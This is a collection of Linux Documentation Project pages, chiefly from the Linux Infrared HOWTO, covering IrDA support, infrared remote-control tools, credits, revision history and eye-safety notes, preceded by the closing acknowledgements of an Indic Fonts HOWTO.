Parts of this HOWTO have been taken from The Unicode HOWTO by Bruno Haible and The Devanagri HOWTO by Keyur Shroff.

I would also like to take this opportunity to thank my papa, mummy and my brothers Manvinder and Kulvinder for their unconditional love and support, without whom I could never have achieved anything in life. Forever, I love you. Loshaca :)

To Girija, my girlfriend: :) Thanks for everything.

I am very grateful to Keyur Shroff for allowing me to modify and redistribute his Devanagri HOWTO. Special thanks go out to him for his guidance, help, and support.

Thanks to Rohan D'Sa and Manvinder Bali of Centurion Linux for having helped me with various UTF-8 and Indic scripts issues. Also, thanks for representing Centurion Linux at the Business Technology meet organised by Ministry of Information Technology, New Delhi.

Once again, special thanks to Dan Scott for converting the HOWTO to DocBook XML format. Thanks Dan :)

This HOWTO is copyrighted ℗ 2001-2002 by Maninder Bali, <bali@centurionlinux.com> and is distributed under the terms of the GNU Free Documentation License (GFDL) stated below.

Prev | Home | Next
Frequently Asked Questions (FAQ) |  | GNU Free Documentation License


References and sites

The Indic Fonts HOWTO
Prev Next

6. References and sites

IndiX links

  • IndiX Homepage
  • IndiX Download
Centurion Linux and Exodus GNU/Linux

The good guys at Centurion Linux have finished work on Exodus GNU/Linux, a 100% Free Software distribution featuring full Hindi language support for GNOME and KDE. The much awaited Exodus GNU/Linux (code named BitterCoffee) is expected to be released in the Indian market shortly.

  • Centurion Linux Homepage
  • The Official GNOME i18n Team - India (hindi)
Unicode

  • The official Unicode website
  • UTF-8 and Unicode FAQ
Prev | Home | Next
Applications with Devanagri |  | Frequently Asked Questions (FAQ)


Linux Infrared HOWTO

Werner Heuser

Copyright © 2000, 2001 by Werner Heuser

v3.3, 2001-04-22

The Infrared-HOWTO (former IR-HOWTO) provides an introduction to Linux and infrared devices and how to use the software provided by the Linux/IrDA project. This package uses IrDA(TM) compliant standards. IrDA(TM) is an industrial standard for infrared wireless communication, and most laptops made after January 1996 are equipped with an IrDA(TM) compliant infrared transceiver. Infrared ports let you communicate with printers, modems, fax machines, LANs, and other laptops. Speed ranges from 2400bps to 4Mbps.

The Linux/IrDA stack supports IrLAP, IrLMP, IrIAS, IrIAP, IrLPT, IrCOMM, IrOBEX, and IrLAN. Several of the protocols are implemented as both clients and servers. There is also support for multiple IrLAP connections, via several IrDA(TM) devices at once. The Linux/IrDA project started at the end of 1997 and its status is still experimental, so please don't expect every feature working straight. AFAIK Linux/IrDA is the _only_ open source IrDA implementation currently available.

Remote Control (RC) via infrared is the aim of the Linux Infrared Remote Control - LIRC project, and also described in this HOWTO.

Table of Contents
Preface
1. About the Document and the Author
2. Status of the Document
I. IrDA
1. About the Linux/IrDA Project
2. Getting Started
3. Specific Connections and IrDA - Protocols
4. Hardware Supported by Linux/IrDA
5. Advanced Topics
II. Infrared Remote Control
6. Introduction
7. Linux Infrared Remote Control - LIRC
8. Lego Mindstorm
9. Serial Infrared Remote Controller
10. Infrared Tools for the COREL Netwinder PC
11. ir
12. irmctl
13. IRManager
14. irXxD
15. gmd
16. Infrared Remote Control - IrDA
III. Appendix
A. Credits
B. Revision History
C. Serial Infrared Port Sniffers
D. Infrared Light and Eye Safety
E. Copyrights, Disclaimer, Trademarks
List of Figures
5-1. IrDA Stack
Next
Preface


Copyrights, Disclaimer, Trademarks

Linux Infrared HOWTO
Prev Next

Appendix E. Copyrights, Disclaimer, Trademarks

Table of Contents
E.1. Disclaimer and Trademarks
E.2. Copyrights
E.3. GNU Free Documentation License - GFDL
E.3.1. 0. PREAMBLE
E.3.2. 1. APPLICABILITY AND DEFINITIONS
E.3.3. 2. VERBATIM COPYING
E.3.4. 3. COPYING IN QUANTITY
E.3.5. 4. MODIFICATIONS
E.3.6. 5. COMBINING DOCUMENTS
E.3.7. 6. COLLECTIONS OF DOCUMENTS
E.3.8. 7. AGGREGATION WITH INDEPENDENT WORKS
E.3.9. 8. TRANSLATION
E.3.10. 9. TERMINATION
E.3.11. 10. FUTURE REVISIONS OF THIS LICENSE
Prev | Home | Next
Infrared Light and Eye Safety | Up | Disclaimer and Trademarks


Credits

Linux Infrared HOWTO
Prev Next

Appendix A. Credits

Thanks to:

* The members of the Linux-IrDA mailing list. * The writers of the other HOWTOs which gave me many inspirations. * The developers of the SGML-Tools which provided some means to write a HOWTO. * Benny Amorsen * The Armadillo with the Mask * Mathieu Arnold * Fons Botman * Philip Blundell * Dag Brattli - Linux/IrDA core team * David Burley * Andreas Butz * Edgardo Calabrese > * Andrew Chadwick * Ho Chin Keong * Claudiu Costin * Stefan Dahlke * Thomas Davis - Linux/IrDA core team * Richard Donkin * Ha Duong Minh * Ales Dryak * K-H. Eischer * Ove Ewerlid * Timo Felbinger * Tollef Fog Heen * Christian Gennerat * Gerhard Gonter * Mike Groeneweg * Bjoern Hansson * Takahide Higuchi - Linux/IrDA core team * Jon Howell * Gerd Knorr * Arthur Tyde and Bryan Abshier from Linuxcare Inc. * Joonas Lehtinen * Mark Lewis * Florian Lohoff * Pawel Machek * James McKenzie * Alessio Massaro * Harald Milz * Bjoern Mork * Tang Ning * Rui Oliveira * Igor Pesando * Raj Rijhwani * Christian Rishoej * Wessel de Roode * Markus Schill * Ryan Shillington * Richard Titmuss * Jean Tourrilhes * Carlos Vidal * Lichen Wang * Guenther Wieser * Toni van de Wiel * Ralf Zabka * Christian Zoz

Sorry I didn't start to follow the credits when starting the HOWTO, so probably I forgot somebody.

Prev | Home | Next
Appendix | Up | Revision History


Infrared Light and Eye Safety

Linux Infrared HOWTO
Prev Next

Appendix D. Infrared Light and Eye Safety

This section summarizes some ideas and thoughts that were exchanged on the Linux/IrDA mailing list. It is not medically wellfounded, and whoever has better evidence or some more wellfounded source of information is encouraged to contribute it to this HOWTO.

The IrDA spec says that the range of IrDA devices has been limited to 1m for reasons of eye safety. Another plausible assumption is that power consumption and IR pollution/crosstalk were reasons for this limitation. In principle there could be danger for the eye, because infrared light is not registered by the eye, and thus the pupil won't close in order to protect the retina from bright IR light sources. This is the same situation as with UV light, which will cause snow blindness eventually, but in contrast to UV light, IR light contains much less harmful energy due to its longer wavelength.

The only legal restrictions and medical advices we were able to find on the web were concerned with infrared emissions of heat lamps or in the welding process and IEC 825-1 (CENELEC EN60825-1). This suggests that IR light as emitted by IrDA devices will be harmless, since even the peak power emitted by strong IR LEDs (ca. 300mW) is several orders of magnitude below the power emitted by medical IR heat lamps (up to 500W). For these, however, you are supposed to wear protective goggles, so maybe if you are looking straight into 1.000 infrared LEDs flashing at once, you should do so, too. The effect of infrared light is mostly heat, though, and not an alteration or destruction of the biological cell structure, such as caused by UV light. Though in the specs for the HP OmniBook 800 Hewlett-Packard recommends not to look directly into the IR LED.

As stated above, this discussion is only based on guesswork and common sense assumptions about the data found in IR LED and heat lamp specs. If anybody with a better medical knowledge can comment on this, please do so!!!

Prev | Home | Next
sersniff | Up | Copyrights, Disclaimer, Trademarks


Revision History

Linux Infrared HOWTO
Prev Next

Appendix B. Revision History

  • v0.1 to v0.4a, 19 March 1998 to 4 August 1998, drafts, not included in the LDP

  • v1.0, 14 August 1998, release to the LDP

  • v1.1, 18 August 1998, added info about IrCOMM patch by Takahide Higuchi, minor changes

  • v1.2, 24 August 1998, updated to linux-irda-1998-08-20 snapshot, added FIR section and revision history, minor changes

  • v1.3, 27 September 1998, added sections about multiple instances, cellular phones, digital cameras,Linux to Linux connection, the cutting edge - CVS, power saving; some changes in general configuration section, changes in hardware survey section, minor changes

  • v1.4, 11 October 1998, better description of IrCOMM support, changes in dongle connection section, changes in Palm III section, minor changes

  • v1.5, 12 October 1998, minor changes

  • v1.6, 26 October 1998, section about IrManager added, updated to the linux-irda-1998-10-21 snapshot, changed dongle connection section, minor changes

  • v1.7, 1 November 1998, added remote control section, changed dongle connection section, minor changes

  • v2.0, 9 January 1999, nearly complete rewrite and rearrangement according to the new structure of Linux/IR which is included into the kernel since 2.1.131, added info about BIOS support into dongle connection section, configuration tool section and CVS section removed

  • v2.1, 13 January 1999, minor changes

  • v2.2, 26 January 1999, project name changed from Linux/IR to Linux/IrDA, extended the Troubleshooting chapter, changed the order of the Known Bugs chapter after the Troubleshooting chapter, removed some lint

  • v2.3, 4 February 1999, added chapter about Eye Safety written by Andreas Butz; spell checking, reworking of Kernel Parameters chapter and additional information by Andreas Butz; minor changes

  • v2.4, 9 February 1999, changed information about applying a patch file

  • v2.5, 12 March 1999; new URL for Linux/IrDA; added chapters about Big Endian support, irdaping, irdadump and Beyond IrDA - Extending Transmission Distance; chapter Obtaining Information about the Infrared Port in Laptops improved; added many information provided by Fons Botman to Windows chapter; added SMP chapter; informations about Ericsson SH888 added; removed obsolete FAQs; minor changes

  • v2.6, 6 April 1999, added chapters Connection to Docking Station, Connection to Keyboard and Connection via Serial Cable, minor changes

  • v2.7, 11 June 1999 started chapter Upcoming Standards (Bluetooth and IrDA), added annotations about CORBA to GUI chapter, minor information about Nokia cellular phones added, added appendix Serial Infrared Port Sniffer, started IrDA Network Neighborhood section, started Connection to Psion 5 chapter and appendix C, minor additions to LIRC chapter, minor changes

  • v2.8, 20 September 1999, added LiRC mailing list, changed <htmlurl ... > tag to <url ...>, changed format of conf.modules entries, addition to hardware detection (PCMCIA), added IrDA mailing list, changed address of Linux-IrDA mailing list, minor additions to multiple instances section, added URL of French translation, added new sersniff to Appendix B, added section about precompiled packages, added Palm III Connection to Thinkpad 600 chapter, minor changes

  • v2.9, 21 September 1999, changes in Printer Connection chapter, spellchecking, added connection to Siemens S25, minor changes

  • v2.10, 2 November 1999, minor changes

  • v2.11, 9 March 2000, added links to the 'irctl' and 'IRManager' infrared control programs, new base URL of the document, new chapter Connecting from Linux to WinCE courtesy from Arthur Tyde and Bryan Abshier of Linuxcare Inc., link to IrDA-Java interface added, link to HOWTO about Toshiba and IrDA added courtesy from Guenther Wieser, more information about a connection to S25 courtesy by Timo Felbinger, links to AT commands for cellular phones added, new chapter Code History, link to SH888 phone book tool, a short survey of IrDA protocols courtesy from Lichen Wang, minor changes

  • v3.0, 5 November 2000, format changed to DocBook , license changed to GNU Free Documentation License - GFDL, title changed from IR-HOWTO to Infrared-HOWTO, new document URL, links to Linux/IrDA updated

  • v3.1, 8 November 2000, links updated, changed to DocBook 3.1

  • v3.2, 21 March 2001, obsolet references to irmanager, /dev/irnine and wrong device numbers removed, changes according to kernel 2.4.x applied, extensive proof-reading and testing, new links to e-Squirt added, new chapter about module options, new chapter about null modem connection, sections reordered and cleaned up, other links updated

  • v3.3, 22 April 2001, included docs from 2.4.3 kernel, removed references to obsolet stuff, minor changes

Prev | Home | Next
Credits | Up | Serial Infrared Port Sniffers


Serial Infrared Port Sniffers

Linux Infrared HOWTO
Prev Next

Appendix C. Serial Infrared Port Sniffers

Table of Contents
C.1. Sniffer by Gerd Knorr
C.2. sersniff
Prev | Home | Next
Revision History | Up | Sniffer by Gerd Knorr


About the Linux/IrDA Project

Linux Infrared HOWTO
Prev Next

Chapter 1. About the Linux/IrDA Project

Table of Contents
1.1. Project History
1.2. Code History
Prev | Home | Next
IrDA | Up | Project History


Advanced Topics

Linux Infrared HOWTO
Prev Next

Chapter 5. Advanced Topics

Table of Contents
5.1. Troubleshooting
5.1.1. General Information
5.1.2. Troubleshooting Techniques
5.1.3. PCI Device Numbers
5.1.4. scanport
5.2. Mailing List
5.3. How to Make Infrared Light Visible
5.4. Power Saving
5.5. Beyond IrDA
5.5.1. Extending Transmission Distance
5.5.2. Upcoming Standards (Bluetooth and IrDA)
5.6. IrDA Network Neighborhood
5.7. Linux/IrDA and APM
5.8. Performance Testing
5.9. IrDA Protocols
5.9.1. IrDA Stack
5.9.2. Existing IrDA Protocol Implementations
5.10. Known Bugs
5.11. FAQ
Prev | Home | Next
Linux/IrDA on PDAs | Up | Troubleshooting


Infrared Tools for the COREL Netwinder PC

Linux Infrared HOWTO
Prev Next

Chapter 10. Infrared Tools for the COREL Netwinder PC

Ryan Shillington wrote some tools to control the COREL Netwinder via infrared, for example:

Server Side for the Corel Palm Administrator (deamon). It depends on having ir-simple installed and up and running. With this you can check and change IP addresses, Gateway addresses, setup eth1, etc. You can also run simple commands AND you can check the Temperature, Memory, Load averages, etc.

Client Side for the Corel Palm Administrator. You can also run simple commands AND you can check the Temperature, Memory, Load averages, etc.

A very basic infrared device driver. This does not support IrDA (only unreliable transfers). It looks specifically for Remote Control signals (and Keyboard, etc.). It blocks and passes data up very differently.

You may find the tools at http://www.netwinder.org/~ryansh/

Prev | Home | Next
Serial Infrared Remote Controller | Up | ir


Getting Started

Linux Infrared HOWTO
Prev Next

Chapter 2. Getting Started

Table of Contents
2.1. Software
2.1.1. IrDA-Utils
2.1.2. openobex
2.1.3. e-squirt
2.1.4. IrNET for Linux-IrDA
2.1.5. Java - IrDA Interface
2.2. Kernel
2.2.1. Preface
2.2.2. IrDA Specific Parameters
2.2.3. Current Kernel Patches
2.3. Kernel Module Options
2.4. Configuration
2.4.1. Device Numbers
2.4.2. Device Arrangement
2.4.3. /etc/modules.conf
2.4.4. /etc/irda
2.4.5. BIOS Configuration
2.4.6. Serial Port (setserial)
2.4.7. Starting IrDA
Prev | Home | Next
Code History | Up | Software


gmd

Linux Infrared HOWTO
Prev Next

Chapter 15. gmd

This software makes it a lot easier to use the RedRat2 to control an A/V stack. I use mine to control my DVD/CD/VCR/TV and ReplayTV. I also wrote some additional tools to make using the ReplayTV easier(Channel selector, advanced search utilities, ...). The web site is at: http://www.slip.net/~gmd/RedRat/index.html

Prev | Home | Next
irXxD | Up | Infrared Remote Control - IrDA


Hardware Supported by Linux/IrDA

Linux Infrared HOWTO
Prev Next

Chapter 4. Hardware Supported by Linux/IrDA

Table of Contents
4.1. Obtaining Information about the Infrared Port in Laptops
4.1.1. SIR
4.1.2. FIR
4.2. Hardware Surveys
4.3. Big Endian
4.4. SMP
4.5. IrDA Hardware
4.6. IrDA and USB
4.7. Linux/IrDA on PDAs
Prev | Home | Next
IrDA Card in a Desktop Computer | Up | Obtaining Information about the Infrared Port in Laptops


Introduction

Linux Infrared HOWTO
Prev Next

Chapter 6. Introduction

Remote control via infrared is not the aim of the Linux/IrDA project but is included in this HOWTO to cover "Linux and Infrared" more completely. I found some projects which are working on this topic. You may find some links to current information at MobiliX.

Prev | Home | Next
Infrared Remote Control | Up | Linux Infrared Remote Control - LIRC


ir

Linux Infrared HOWTO
Prev Next

Chapter 11. ir

ir is an interface program to Chris Dodge's RedRat 2 infrared controller to send and receive infrared signals to/from consumer devices like TV's, VCR's, cable boxes, and stereos. It is written in Perl. It uses only the basic Perl constructs and no external packages, so it should work on any platform that supports Perl and serial communications. It can be accessed via the command line or cron, as an email handler (through aliases), or as a cgi script which will automatically generate a form with all possible codes. It has macro capability so one command can send a series of IR signals. With an X-10's IR543, it can be used to control X10 devices, too. http://kramer.ne.mediaone.net/ir/

Prev | Home | Next
Infrared Tools for the COREL Netwinder PC | Up | irmctl


IRManager

Linux Infrared HOWTO
Prev Next

Chapter 13. IRManager

IRManager is a Linux daemon to make advanced use of an IRMan infrared receiver. It forwards IR signals to (multiple) native IRMan applications, and can be used with your own scripts and applications. It also has a mapping system and its advanced configuration options make it the most flexible and easy way to remote control your computer.

Prev | Home | Next
irmctl | Up | irXxD


irmctl

Linux Infrared HOWTO
Prev Next

Chapter 12. irmctl

irmctl is a utility daemon to control your favorite non-IRDA infrared receiver. For the moment, only irman (through libirman) is supported. http://irmctl.sourceforge.net/

Prev | Home | Next
ir | Up | IRManager


irXxD

Linux Infrared HOWTO
Prev Next

Chapter 14. irXxD

irXxD is a library for sending/receiving infrared remote control codes. It includes kernel 2.0 and 2.2 modules for receiving/sending IR codes under Linux, and various support for other operating systems. http://home.iae.nl/users/leonvs/projects/index.html#irxxd

Prev | Home | Next
IRManager | Up | gmd


Lego Mindstorm

Linux Infrared HOWTO
Prev Next

Chapter 8. Lego Mindstorm

Quoting the Lego Mindstorm with Linux Mini-HOWTO by Luis Villa:" In case you don't know, the Lego Mindstorms Kit is a robotics kit from The Lego Group that retails for about 200 US dollars. For that, you get a lot of Lego pieces, a large brick containing a CPU, an LCD, and some connectors (known as the RCX), a couple of motors, and some light and touch sensors that allow you to interact with the outside world. ..."

"All communication to the RCX is done via the IR tower, which is connected to the machine via a serial port. As a result, if you have no serial port connection, you will be unable to use the RCX unless you can buy an adapter. Furthermore, under certain circumstances, there may be problems with IRQs or serial port conflicts. This is particularly likely if your modem uses /dev/ttyS0."

Prev | Home | Next
Linux Infrared Remote Control - LIRC | Up | Serial Infrared Remote Controller


Linux Infrared Remote Control - LIRC

Linux Infrared HOWTO
Prev Next

Chapter 7. Linux Infrared Remote Control - LIRC

LIRC is a package that supports receiving and sending IR signals of the most common IR remote controls. It contains a device driver for hardware connected to the serial port, a daemon that decodes and sends IR signals using this device driver, a mouse daemon that translates IR signals to mouse movements and a couple of user programs that allow to control your computer with a remote control. The IR hardware can be either selfmade or choosen from a variety of commercial solutions. Takahide Higuchi wrote about LIRC: "It's great, and it seems almost complete solution, but it seems there is almost nothing supporting hardware on the market (or need to solder some special circuit ... it is hard work for many people to do so). I believe that LIRC will be more popular if consumer IR support is implemented in FastIR drivers and some common API (for example, a raw IrSocket and common ioctls) is made!". http://www.lirc.org

Prev | Home | Next
Introduction | Up | Lego Mindstorm


Infrared Remote Control - IrDA

Linux Infrared HOWTO
Prev Next

Chapter 16. Infrared Remote Control - IrDA

Two of the above mentioned projects use some kind of selfmade dongle for infrared remote control. There is also a description to build a serial IrDA dongle by yourself in the german ELEKTOR 5/97 p. 28 magazine. Maybe someone can merge these two kind of dongles together.

For a discussion of the relation between Infrared Remote Control and IrDA I quote from the Linux/IrDA mailing list (shortend and modified by wh):

Ryan Shillington wrote: "Remote IR and ASK-IR are very different from FIR or MIR or SIR.

Remote IR and ASK-IR are very low speed and low frequency (but very long range) uses for IR. They operate around 2400 baud.

SIR operates at higher rates, and is meant for long range transmission where you need more than a few characters pass through (unlike a remote control).

MIR is a little faster (less range), but with speeds up to 1.15 Mbps, and FIR (where the devices have to be practically touching) is 4Mbps. The range is inversely proportional to the speed you can send data at.

I'm working on drivers for Remote-IR, but you should know that your IR stuff has to support it. Look for protocols like NEC, RC-5 or RC-0 (those are the most common ones).

You can use SIR to receive Remote Control signals. Set your baud rate nice and low and data will come through. BUT, from my experience, it's not the RIGHT data. It's not being analyzed in the right way, and as such, you can't compute the checksums or check it with its complement.

I have managed to get data in (using SIR) with remote controls. I have been told that SIR will read the remote control stuff differently depending on temperature (although I have never had that experience). "

Lichen Wang wrote in response: "The so-called ASKIR in most laptops etc. is not meant for remote IR devices. ASKIR is meant for Sharp Wizard and Zauaus PDAs and some of Sharp's notebook PCs. Sharp stated this long before IrDA was established and is still supporting it to maintain backward compatibility. Apple's Newton had this capability at one time, too.

Briefly, ASKIR uses 9.6 Kbps (19.2 and 38.4 Kbps are also possible) asynchronous data format of 8 data bits, 1 stop bit, and odd parity. The start bit as well as all 0 bit in data/parity are transmitted as IR square wave at 500 KHz (DASK sub-carrier). The stop bit as well as all 1 bit in data/parity are represented by the absence of any IR transmission.

As you can see, this is totally incompatible with existing IR remote control. [..]

True. Not only can you use SIR hardware to receive, you can transmit, too. Of course, there are some limitations.

Most IR remote controls use 38 KHz sub-carrier. 3 times 38 is 114, very close to 115.2. You can set the UART to operate at 115.2 Kbps, 7 data bits, no parity, and 1 stop bit - a total of 9 bits. Each 3 cycles of the 38 KHz sub-carrier can be received or transmitted as a byte of 0x5B.

There are some physical limitations in addition to the fact that the sub-carrier must be 38 KHz. The SIR receiver is not as sensitive to 38 KHz as the IR remote receiver designed for that. The SIR transmitter has a much lower duty cycle and thus can not emit a strong sub-carrier either.

IR remote encodes the control signal by turning on and off the sub-carrier at certain specific patterns. Now that you can transmit and receive the sub-carrier, what remains is all in timing.

For transmit, you have to know how many consecutive bytes of 0x5B to send for each burst of the sub-carrier, and how long to be quiet between the bursts.

For receive, you have to know how many of the 0x5Bs you received are consecutive, and how long the gaps were between these groups of consecutive bytes. [..]

My experience with the IrDA link distance of SIR, MIR and FIR is somewhat different from what Ryan said. [..]

SIR, MIR and FIR should all work from 0 to 100 cm but in practice:

(a) Some devices may have problems at LONG distances.

When possible, place the two communicating devices no more than 50 cm apart. Low power devices, such as pagers, phones, etc. may have even shorter ranges despite the fact that they use SIR instead of MIR or FIR.

(b) Some devices may have problems at SHORT distances.

Place the two devices at least a few cm apart. Putting the two devices too close to each other can cause troubles.

It is somewhat intuitive that when the link is not reliable we put the two devices closer together. But it is counterintuitive that too close is not good either. The reason is that the light intensity at 1 cm is 10.000 times brighter than that at 100 cm. At 0.5 cm, it is 40.000 times, etc. The IR receiver manufacturers have difficulties to cover this huge dynamic range. We all have problems reading under a 10 W light bulb, but imagine how it feels under a 100.000 W light!

The IrDA Physical Layer is totally incompatible with the DASK modulation used in IR remote controls. Thus it is not possible to use the same controller function for both FIR and remote control. However, practically all FIR controller chips do include some additional functions to support remote control. National, SMC, and Winbond (just to name a few) all have such I/O chips.

The IR transmitter for FIR and remote control are very similar. I have tried a standard FIR transmitter. It can reach 10 meters for remote control purpose. Thus it performs just as good as transmitters designed for remote control.

The IR receiver for FIR and remote control are somewhat different. A FIR receiver can receive remote control signals but can reach only 1 meter whereas receivers designed for remote control typically can reach 10 meters.

I have an ISA bus adapter with a National I/O chip that supports both FIR and remote control. I also have IR Dongles that include both FIR and remote control receivers. (Plus a transmitter for both modes.) I cannot find any software to support remote control functions. I did my own experiments in DOS (I cannot run Linux yet.) Anybody interest in this? "

Benny Amorsen wrote: "I have a laptop that is supposed to support ASKIR. The mode of the infrared port can be switched to ASKIR in the BIOS. Having to reboot to switch the mode in the BIOS makes it useless, though, so someone would have to find a way to switch on the fly. "

Dag Brattli wrote: It should be possible to use IrControl (formerly IrBus) for IrDA compliant remote controls. I currently don't know about any remote controls using IrControl standard, but there should be some out there (anyone else who knows better?). You should go to the Linux/IrDA site and get the physical layer standard (which includes IrControl I think).

"Normal" IrDA (using IrLAP) is _not_ well suited for remote control because of the connection oriented nature (and just supports 9600bps for connectionless use). The reason for the limited range is eye-safety they say (but I currently don't know why CIR works better using the same power). I have however seen laptops connect at 4-5 meters (but I don't think that any high speed communication would be possible).

Most IrDA chipsets are capable of CIR operation, and it is quite easy to modify the drivers so they talk CIR. Takahide Higuchi has started to look at IrSockets and it would be great if we could open a "raw" Ir(DA) socket which then could send and receive CIR packets. Then all the CIR applications could live in userspace.

I know that Corel is interested in using CIR for controlling the NetWinder (and they actually have running code). Take a look at http://www.slashdot.org/articles/98/12/05/0916216.shtml or http://www.netwinder.org/~ryansh

From the "IrDA Data Link Design Guide" p. 21 by Hewlett-Packard http://www.hp.com/go/ir : " It is possible to transmit and receive signals other than IrDA signals with Hewlett-Packard IR transceivers. For implementation details, please refer to the Application Note, Transceiver Performance with ASK and TV Remote Signals."

From the IR-MAN page http://www.usuarios.com/ib308564/irda.html :

Fortunately, many IrDA devices are compatible with the 38-kbps ASK modulation used in TV remotes. This means that they can work with such kind of infrared type signals. ... However, it seems that there are still many portable computers that can't receive TV infrared stuff.

For desktop computers, there exist two options, depending on the motherboard you have. Usually a Pentium MoBo has an I/O chipset ready for infrared communication. There is a special connector where you can connect the transducer. The other option is buying a serial type transceiver that connects to the standard serial port (RS-232) of the computer. ... PC Remote Control has been tested with success using both type of IrDA devices:

1) IRmate IR-210 Serial Port Infrared Adapter. ... The serial port speed at wich the device sends recognizable data values is 2400 bps. I don't know if this speed will be the same for all the adapters of this type or is an unique characteristic of this model.

Look at the examples of data values received to see how similar are them. There are some infrared commands that change a lot every time, difficulting the recognition. In such cases, a great tolerance in the comparison could be used, but the risk of confusion between different commands will be increased. An apropiate tolerance value for almost all cases is 20.

2) Actisys IR2000L connected to an Asus P2B motherboard. ... There are several serial port speeds that work well, although 4800 bps seems to be the best one. Other adapters of this same type work also well using this speed. Take a look at the samples of data sequences received using this device. Some remote buttons send exactly the same sequence and it's impossible to distinguish between them at all.

3) Asus IR-eye connected to the same MoBo as above. It works as well as the Actisys device.

TV remotes send commands only one way, in a low-speed burst for distances of up to 30 feet. They use directed IR with LEDs that have a moderate cone angle to improve ease-of-use characteristics. Cordless connectivity via IrDA transfers files, point-to-point and bidirectionally, in a high-speed burst for short distances using directed IR with LEDs having a narrow cone angle. IrDA transmissions require relatively careful aiming, and they're easy to block. For this reason, don't expect a great distance while working with the remote unit.

Alessio Massaro : wrote: " IrDA doesn't talk to tv-remotes, but it does have the IrCOMM layer to emulate a serial i/f. My guess is that to get LIRC working with it, you should just need ... to read from the IrCOMM virtual serial device (as you would with a /dev/cua or whatever) and use a remote that can be seen by your dongle+IrDAheader pair."

Answer by Dag Brattli: "You are talking about being normal serial ports, but that is something at least I have choosen IrDA not to be. I have implemented all the device drivers as network device drivers, so things are a bit different (more frame oriented). The device drivers deliver IrDA frames and currently nothing else.

But I don't think that we must have a tty interface to the IrDA device drivers in order to support more RAW reads and writes. And btw. forget about IrCOMM, it has nothing to do with this issue.

I have actually already implemented support for raw reads and writes for the device drivers, since some of the dongles require this."

Prev | Home | Next
gmd | Up | Appendix


Serial Infrared Remote Controller

Linux Infrared HOWTO
Prev Next

Chapter 9. Serial Infrared Remote Controller

This is a simple, cheap device that can be connected to any serial port to control most components that have infrared remote controls. It was designed and built on a solderless breadboard and is finally designed as a PC board. You may find this package at http://www.armory.com/~spcecdt/remote/remote.html

Prev | Home | Next
Lego Mindstorm | Up | Infrared Tools for the COREL Netwinder PC


Specific Connections and IrDA - Protocols

Linux Infrared HOWTO
Prev Next

Chapter 3. Specific Connections and IrDA - Protocols

Table of Contents
3.1. Stating the IrDA Stack
3.1.1. SIR
3.1.2. Dongle Connection - Infrared Adapters for the Serial Port
3.1.3. Dongle Connection - Infrared Motherboard Adapter
3.1.4. Fast InfraRed (FIR)
3.2. Printer Connection - IrLPT, IrTTP, IrCOMM?
3.3. LAN Connection - IrLAN
3.4. HP NetBeamer Connection
3.5. Palm III Connection - IrCOMM
3.6. Linux Terminal on Palm (Handspring Visor) via IR
3.7. Psion 5 Connection
3.8. Connecting from Linux to WinCE
3.9. Cellular Phone Connection
3.9.1. Motorola Timeport GSM
3.9.2. Ericsson
3.9.3. SH888 Phonebook Tool
3.9.4. NOKIA
3.9.5. Siemens S25
3.9.6. German e-plus
3.10. Digital Camera Connection
3.11. Window$9x/NT and Linux/IrDA
3.11.1. Introduction
3.11.2. Connection between Linux/IrDA and Window$95 IrDA(TM)
3.11.3. Communication between Win98 and Linux
3.12. Linux to Linux Connection
3.12.1. Connection Methods
3.12.2. Compression
3.13. Multiple Instances
3.14. Connection to Docking Station
3.15. Connection to Keyboard
3.16. Connection via Serial Cable
3.17. Null Modem Cable Connection
3.18. Peer-to-Peer Mode / Direct Mode
3.19. Linux/IrDA with Toshiba Notebooks
3.20. IrDA Card in a Desktop Computer
Prev | Home | Next
Configuration | Up | Stating the IrDA Stack


Preface

Table of Contents
1. About the Document and the Author
2. Status of the Document
Prev | Home | Next
Linux Infrared HOWTO |  | About the Document and the Author


IrDA

Linux Infrared HOWTO
Prev Next

I. IrDA

Table of Contents
1. About the Linux/IrDA Project
1.1. Project History
1.2. Code History
2. Getting Started
2.1. Software
2.2. Kernel
2.3. Kernel Module Options
2.4. Configuration
3. Specific Connections and IrDA - Protocols
3.1. Stating the IrDA Stack
3.2. Printer Connection - IrLPT, IrTTP, IrCOMM?
3.3. LAN Connection - IrLAN
3.4. HP NetBeamer Connection
3.5. Palm III Connection - IrCOMM
3.6. Linux Terminal on Palm (Handspring Visor) via IR
3.7. Psion 5 Connection
3.8. Connecting from Linux to WinCE
3.9. Cellular Phone Connection
3.10. Digital Camera Connection
3.11. Window$9x/NT and Linux/IrDA
3.12. Linux to Linux Connection
3.13. Multiple Instances
3.14. Connection to Docking Station
3.15. Connection to Keyboard
3.16. Connection via Serial Cable
3.17. Null Modem Cable Connection
3.18. Peer-to-Peer Mode / Direct Mode
3.19. Linux/IrDA with Toshiba Notebooks
3.20. IrDA Card in a Desktop Computer
4. Hardware Supported by Linux/IrDA
4.1. Obtaining Information about the Infrared Port in Laptops
4.2. Hardware Surveys
4.3. Big Endian
4.4. SMP
4.5. IrDA Hardware
4.6. IrDA and USB
4.7. Linux/IrDA on PDAs
5. Advanced Topics
5.1. Troubleshooting
5.2. Mailing List
5.3. How to Make Infrared Light Visible
5.4. Power Saving
5.5. Beyond IrDA
5.6. IrDA Network Neighborhood
5.7. Linux/IrDA and APM
5.8. Performance Testing
5.9. IrDA Protocols
5.10. Known Bugs
5.11. FAQ
Prev | Home | Next
Status of the Document |  | About the Linux/IrDA Project


Infrared Remote Control

Linux Infrared HOWTO
Prev Next

II. Infrared Remote Control

Table of Contents
6. Introduction
7. Linux Infrared Remote Control - LIRC
8. Lego Mindstorm
9. Serial Infrared Remote Controller
10. Infrared Tools for the COREL Netwinder PC
11. ir
12. irmctl
13. IRManager
14. irXxD
15. gmd
16. Infrared Remote Control - IrDA
Prev | Home | Next
FAQ |  | Introduction


Appendix

Linux Infrared HOWTO
Prev Next

III. Appendix

Table of Contents
A. Credits
B. Revision History
C. Serial Infrared Port Sniffers
C.1. Sniffer by Gerd Knorr
C.2. sersniff
D. Infrared Light and Eye Safety
E. Copyrights, Disclaimer, Trademarks
E.1. Disclaimer and Trademarks
E.2. Copyrights
E.3. GNU Free Documentation License - GFDL
Prev | Home | Next
Infrared Remote Control - IrDA |  | Credits


About the Document and the Author

Linux Infrared HOWTO
Prev Preface Next

1. About the Document and the Author

Better red, than dead.
Unknown AuthorEss

This document is based on the How to use part of the Linux/IrDA project homepage and the Linux/IrDA Tutorial by Jean Tourillhes. I have also included material provided by the Linux/IrDA core team, the Linux/IrDA mailing list and other sources.

The document is included in the LINUX DOCUMENTATION PROJECT - LDP .

